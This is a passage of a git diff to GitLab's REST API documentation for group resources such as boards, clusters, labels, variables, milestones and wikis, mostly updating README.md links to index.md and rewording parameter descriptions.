+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `list_id` | integer | yes | The ID of a board's list |
@@ -460,7 +460,7 @@ POST /groups/:id/boards/:board_id/lists
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `label_id` | integer | yes | The ID of a label |
@@ -501,7 +501,7 @@ PUT /groups/:id/boards/:board_id/lists/:list_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `list_id` | integer | yes | The ID of a board's list |
| `position` | integer | yes | The position of the list |
@@ -534,7 +534,7 @@ DELETE /groups/:id/boards/:board_id/lists/:list_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `list_id` | integer | yes | The ID of a board's list |
diff --git a/doc/api/group_clusters.md b/doc/api/group_clusters.md
index 6853e38cc32..83373368fc6 100644
--- a/doc/api/group_clusters.md
+++ b/doc/api/group_clusters.md
@@ -27,7 +27,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
Example request:
@@ -96,7 +96,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------ | -------------- | -------- | ----------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
@@ -165,7 +165,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ---------------------------------------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `name` | string | yes | The name of the cluster |
| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster |
| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
@@ -236,7 +236,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------------------------------------- | -------------- | -------- | ------------------------------------------------------------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `cluster_id` | integer | yes | The ID of the cluster |
| `name` | string | no | The name of the cluster |
| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster |
@@ -258,7 +258,7 @@ Example request:
```shell
curl --header "Private-Token: <your_access_token>" "https://gitlab.example.com/api/v4/groups/26/clusters/24" \
-H "Content-Type:application/json" \
---request PUT --data '{"name":"new-cluster-name","domain":"new-domain.com","api_url":"https://new-api-url.com"}'
+--request PUT --data '{"name":"new-cluster-name","domain":"new-domain.com","platform_kubernetes_attributes":{"api_url":"https://10.10.101.1:6433"}}'
```
Example response:
@@ -321,7 +321,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------ | -------------- | -------- | ----------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
diff --git a/doc/api/group_iterations.md b/doc/api/group_iterations.md
index 3d72e035383..af27b558dfe 100644
--- a/doc/api/group_iterations.md
+++ b/doc/api/group_iterations.md
@@ -26,7 +26,7 @@ GET /groups/:id/iterations?search=version
| Attribute | Type | Required | Description |
| ------------------- | ------- | -------- | ----------- |
-| `state` | string | no | Return only `opened`, `upcoming`, `started`, `closed`, or `all` iterations. Defaults to `all`. |
+| `state` | string | no | 'Return `opened`, `upcoming`, `current (previously started)`, `closed`, or `all` iterations. Filtering by `started` state is deprecated starting with 14.1, please use `current` instead.' |
| `search` | string | no | Return only iterations with a title matching the provided string. |
| `include_ancestors` | boolean | no | Include iterations from parent group and its ancestors. Defaults to `true`. |
diff --git a/doc/api/group_labels.md b/doc/api/group_labels.md
index 2aca98259e0..25102e32360 100644
--- a/doc/api/group_labels.md
+++ b/doc/api/group_labels.md
@@ -4,11 +4,13 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Group Labels API
+# Group labels API **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/21368) in GitLab 11.8.
-This API supports managing of [group labels](../user/project/labels.md#project-labels-and-group-labels). It allows to list, create, update, and delete group labels. Furthermore, users can subscribe and unsubscribe to and from group labels.
+This API supports managing [group labels](../user/project/labels.md#project-labels-and-group-labels).
+It allows users to list, create, update, and delete group labels. Furthermore, users can subscribe to and
+unsubscribe from group labels.
NOTE:
The `description_html` - was added to response JSON in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413).
@@ -23,7 +25,7 @@ GET /groups/:id/labels
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `with_counts` | boolean | no | Whether or not to include issue and merge request counts. Defaults to `false`. _([Introduced in GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31543))_ |
| `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. |
| `include_descendant_groups` | boolean | no | Include descendant groups. Defaults to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259024) in GitLab 13.6 |
@@ -75,7 +77,7 @@ GET /groups/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
| `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. |
| `include_descendant_groups` | boolean | no | Include descendant groups. Defaults to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259024) in GitLab 13.6 |
@@ -112,9 +114,9 @@ POST /groups/:id/labels
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the label |
-| `color` | string | yes | The color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
+| `color` | string | yes | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
| `description` | string | no | The description of the label, |
```shell
@@ -150,10 +152,10 @@ PUT /groups/:id/labels/:label_id
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
| `new_name` | string | no | The new name of the label |
-| `color` | string | no | The color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
+| `color` | string | no | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
| `description` | string | no | The description of the label. |
```shell
@@ -191,7 +193,7 @@ DELETE /groups/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
@@ -212,7 +214,7 @@ POST /groups/:id/labels/:label_id/subscribe
| Attribute | Type | Required | Description |
| ---------- | ----------------- | -------- | ------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
@@ -248,7 +250,7 @@ POST /groups/:id/labels/:label_id/unsubscribe
| Attribute | Type | Required | Description |
| ---------- | ----------------- | -------- | ------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md
index 6425e022170..f816f2dc173 100644
--- a/doc/api/group_level_variables.md
+++ b/doc/api/group_level_variables.md
@@ -18,7 +18,7 @@ GET /groups/:id/variables
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables"
@@ -55,7 +55,7 @@ GET /groups/:id/variables/:key
| Attribute | Type | required | Description |
|-----------|---------|----------|-----------------------|
-| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable |
```shell
@@ -83,13 +83,13 @@ POST /groups/:id/variables
| Attribute | Type | required | Description |
|-----------------|---------|----------|-----------------------|
-| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable; must have no more than 255 characters; only `A-Z`, `a-z`, `0-9`, and `_` are allowed |
| `value` | string | yes | The `value` of a variable |
| `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` |
| `protected` | boolean | no | Whether the variable is protected |
| `masked` | boolean | no | Whether the variable is masked |
-| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
+| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
@@ -117,13 +117,13 @@ PUT /groups/:id/variables/:key
| Attribute | Type | required | Description |
|-----------------|---------|----------|-------------------------|
-| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable |
| `value` | string | yes | The `value` of a variable |
| `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` |
| `protected` | boolean | no | Whether the variable is protected |
| `masked` | boolean | no | Whether the variable is masked |
-| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
+| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
@@ -151,7 +151,7 @@ DELETE /groups/:id/variables/:key
| Attribute | Type | required | Description |
|-----------|---------|----------|-------------------------|
-| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable |
```shell
diff --git a/doc/api/group_milestones.md b/doc/api/group_milestones.md
index 40d51f90b5a..a21af94da40 100644
--- a/doc/api/group_milestones.md
+++ b/doc/api/group_milestones.md
@@ -4,11 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Group milestones API
+# Group milestones API **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12819) in GitLab 9.5.
-
-This page describes the group milestones API.
+Use the group [milestones](../user/project/milestones/index.md) using the REST API.
There's a separate [project milestones API](milestones.md) page.
## List group milestones
@@ -29,7 +27,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `iids[]` | integer array | no | Return only the milestones having the given `iid` (Note: ignored if `include_parent_milestones` is set as `true`) |
| `state` | string | no | Return only `active` or `closed` milestones |
| `title` | string | no | Return only the milestones having the given `title` |
@@ -73,7 +71,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `milestone_id` | integer | yes | The ID of the group milestone |
## Create new milestone
@@ -88,7 +86,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `title` | string | yes | The title of a milestone |
| `description` | string | no | The description of the milestone |
| `due_date` | date | no | The due date of the milestone, in YYYY-MM-DD format (ISO 8601) |
@@ -106,7 +104,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `milestone_id` | integer | yes | The ID of a group milestone |
| `title` | string | no | The title of a milestone |
| `description` | string | no | The description of a milestone |
@@ -116,7 +114,7 @@ Parameters:
## Delete group milestone
-Only for users with Developer access to the group.
+Only for users with the Developer role in the group.
```plaintext
DELETE /groups/:id/milestones/:milestone_id
@@ -126,7 +124,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `milestone_id` | integer | yes | The ID of the group's milestone |
## Get all issues assigned to a single milestone
@@ -141,7 +139,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `milestone_id` | integer | yes | The ID of a group milestone |
Currently, this API endpoint doesn't return issues from any subgroups.
@@ -161,7 +159,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `milestone_id` | integer | yes | The ID of a group milestone |
## Get all burndown chart events for a single milestone **(PREMIUM)**
@@ -179,5 +177,5 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `milestone_id` | integer | yes | The ID of a group milestone |
diff --git a/doc/api/group_protected_environments.md b/doc/api/group_protected_environments.md
index d4e27a7200a..ce5803fed3c 100644
--- a/doc/api/group_protected_environments.md
+++ b/doc/api/group_protected_environments.md
@@ -40,7 +40,7 @@ GET /groups/:id/protected_environments
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) maintained by the authenticated user. |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/protected_environments/"
@@ -74,7 +74,7 @@ GET /groups/:id/protected_environments/:name
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) maintained by the authenticated user. |
| `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).|
```shell
@@ -107,7 +107,7 @@ POST /groups/:id/protected_environments
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) maintained by the authenticated user. |
| `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).|
| `deploy_access_levels` | array | yes | Array of access levels allowed to deploy, with each described by a hash. One of `user_id`, `group_id` or `access_level`. They take the form of `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}` respectively. |
@@ -144,7 +144,7 @@ DELETE /groups/:id/protected_environments/:name
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) maintained by the authenticated user. |
| `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).|
```shell
diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md
index 2373fa25e15..53afe8d5ef3 100644
--- a/doc/api/group_repository_storage_moves.md
+++ b/doc/api/group_repository_storage_moves.md
@@ -16,19 +16,19 @@ example, or to migrate a Group Wiki.
As group repository storage moves are processed, they transition through different states. Values
of `state` are:
-- `initial`
-- `scheduled`
-- `started`
-- `finished`
-- `failed`
-- `replicated`
-- `cleanup failed`
+- `initial`: The record has been created but the background job has not yet been scheduled.
+- `scheduled`: The background job has been scheduled.
+- `started`: The group repositories are being copied to the destination storage.
+- `replicated`: The group has been moved.
+- `failed`: The group repositories failed to copy or the checksums did not match.
+- `finished`: The group has been moved and the repositories on the source storage have been deleted.
+- `cleanup failed`: The group has been moved but the repositories on the source storage could not be deleted.
To ensure data integrity, groups are put in a temporary read-only state for the
duration of the move. During this time, users receive a `The repository is temporarily
read-only. Please try again later.` message if they try to push new commits.
-This API requires you to [authenticate yourself](README.md#authentication) as an administrator.
+This API requires you to [authenticate yourself](index.md#authentication) as an administrator.
For other type of repositories you can read:
@@ -42,7 +42,7 @@ GET /group_repository_storage_moves
```
By default, `GET` requests return 20 results at a time because the API results
-are [paginated](README.md#pagination).
+are [paginated](index.md#pagination).
Example request:
@@ -78,7 +78,7 @@ GET /groups/:group_id/repository_storage_moves
```
By default, `GET` requests return 20 results at a time because the API results
-are [paginated](README.md#pagination).
+are [paginated](index.md#pagination).
Supported attributes:
diff --git a/doc/api/group_wikis.md b/doc/api/group_wikis.md
index 58192425786..e1470a2cdd7 100644
--- a/doc/api/group_wikis.md
+++ b/doc/api/group_wikis.md
@@ -22,7 +22,7 @@ GET /groups/:id/wikis
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `with_content` | boolean | no | Include pages' content |
```shell
@@ -63,7 +63,7 @@ GET /groups/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` |
```shell
@@ -91,7 +91,7 @@ POST /projects/:id/wikis
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `content` | string | yes | The content of the wiki page |
| `title` | string | yes | The title of the wiki page |
| `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` |
@@ -123,7 +123,7 @@ PUT /groups/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------------- | ------- | --------------------------------- | ------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `content` | string | yes if `title` is not provided | The content of the wiki page |
| `title` | string | yes if `content` is not provided | The title of the wiki page |
| `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` |
@@ -156,7 +156,7 @@ DELETE /groups/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` |
```shell
@@ -176,7 +176,7 @@ POST /groups/:id/wikis/attachments
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `file` | string | yes | The attachment to be uploaded |
| `branch` | string | no | The name of the branch. Defaults to the wiki repository default branch |
diff --git a/doc/api/groups.md b/doc/api/groups.md
index de2c6c95bcd..23a8dba954f 100644
--- a/doc/api/groups.md
+++ b/doc/api/groups.md
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Get a list of visible groups for the authenticated user. When accessed without
authentication, only public groups are returned.
-By default, this request returns 20 results at a time because the API results [are paginated](README.md#pagination).
+By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination).
Parameters:
@@ -20,7 +20,7 @@ Parameters:
| `skip_groups` | array of integers | no | Skip the group IDs passed |
| `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for administrators); Attributes `owned` and `min_access_level` have precedence |
| `search` | string | no | Return the list of authorized groups matching the search criteria |
-| `order_by` | string | no | Order groups by `name`, `path` or `id`. Default is `name` |
+| `order_by` | string | no | Order groups by `name`, `path`, `id`, or `similarity` (if searching, [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332889) in GitLab 14.1). Default is `name` |
| `sort` | string | no | Order groups in `asc` or `desc` order. Default is `asc` |
| `statistics` | boolean | no | Include group statistics (administrators only) |
| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only) |
@@ -122,13 +122,13 @@ GET /groups?custom_attributes[key]=value&custom_attributes[other_key]=other_valu
Get a list of visible direct subgroups in this group.
When accessed without authentication, only public groups are returned.
-By default, this request returns 20 results at a time because the API results [are paginated](README.md#pagination).
+By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination).
Parameters:
| Attribute | Type | Required | Description |
| ------------------------ | ----------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) of the immediate parent group |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) of the immediate parent group |
| `skip_groups` | array of integers | no | Skip the group IDs passed |
| `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for administrators); Attributes `owned` and `min_access_level` have precedence |
| `search` | string | no | Return the list of authorized groups matching the search criteria |
@@ -180,13 +180,13 @@ GET /groups/:id/subgroups
Get a list of visible descendant groups of this group.
When accessed without authentication, only public groups are returned.
-By default, this request returns 20 results at a time because the API results [are paginated](README.md#pagination).
+By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination).
Parameters:
| Attribute | Type | Required | Description |
| ------------------------ | ----------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) of the immediate parent group |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) of the immediate parent group |
| `skip_groups` | array of integers | no | Skip the group IDs passed |
| `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for administrators). Attributes `owned` and `min_access_level` have precedence |
| `search` | string | no | Return the list of authorized groups matching the search criteria |
@@ -260,7 +260,7 @@ GET /groups/:id/descendant_groups
Get a list of projects in this group. When accessed without authentication, only public projects are returned.
-By default, this request returns 20 results at a time because the API results [are paginated](README.md#pagination).
+By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination).
```plaintext
GET /groups/:id/projects
@@ -270,7 +270,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `archived` | boolean | no | Limit by archived status |
| `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` |
| `order_by` | string | no | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, `similarity` (1), or `last_activity_at` fields. Default is `created_at` |
@@ -346,7 +346,7 @@ To distinguish between a project in the group and a project shared to the group,
Get a list of projects shared to this group. When accessed without authentication, only public shared projects are returned.
-By default, this request returns 20 results at a time because the API results [are paginated](README.md#pagination).
+By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination).
```plaintext
GET /groups/:id/projects/shared
@@ -356,7 +356,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `archived` | boolean | no | Limit by archived status |
| `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` |
